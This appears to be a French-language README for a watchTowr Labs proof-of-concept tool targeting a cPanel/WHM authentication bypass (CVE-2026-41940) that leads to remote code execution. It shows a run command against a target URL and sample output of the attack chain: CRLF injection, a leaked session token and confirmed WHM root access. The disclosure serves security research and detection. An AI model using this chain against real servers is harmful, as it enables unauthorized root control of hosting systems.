watchtowrlabs/watchtowr-vs-cpanel-whm-authbypass-to-rce.pyGénérateur d'artefacts de détection qui vérifie le contournement d'authentification cPanel/WHM (CVE-2026-41940) et démontre une RCE via injection CRLF, ciblant l'interface d'administration WHM.
Outil de génération d'artefacts de détection de contournement d'authentification cPanel/WHM
Ce générateur d'artefacts de détection vérifie si cPanel/WHM est vulnérable à un contournement d'authentification récent.
Test contre une instance vulnérable :
python authbypass-RCE.py --target https://target:2087/
__ ___ ___________
__ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________
\ \/ \/ \__ \ ___/ ___\| | \| | / _ \ \/ \/ \_ __ \
\ / / __ \| | \ \___| Y | |( <_> \ / | | \/
\/\_/ (____ |__| \___ |___|__|__ | \__ / \/\_/ |__|
\/ \/ \/
watchTowr-vs-cPanel-WHM-AuthBypass-to-RCE.py
(*) cPanel/WHM Authentication Bypass - Detection Artifact Generator
- Sina Kheirkhah (@SinSinology) of watchTowr (@watchTowrcyber)
CVEs: [CVE-2026-Pending]
[0] hostname =
[1] minting a preauth session...
session base = :vQ2WC5Bexp0oFSa7
[2] sending the CRLF injection (Basic auth + no-ob cookie)...
HTTP 307, leaked token = /cpsess5691070609
[3] firing do_token_denied to propagate raw -> cache...
HTTP 401, gadget fired
[4] verifying we're WHM root...
/json-api/version -> HTTP 200 {"version":"11.110.0.89"}
Reportez-vous au site Web de cPanel ici
Pour les dernières recherches en sécurité, suivez l'équipe watchTowr Labs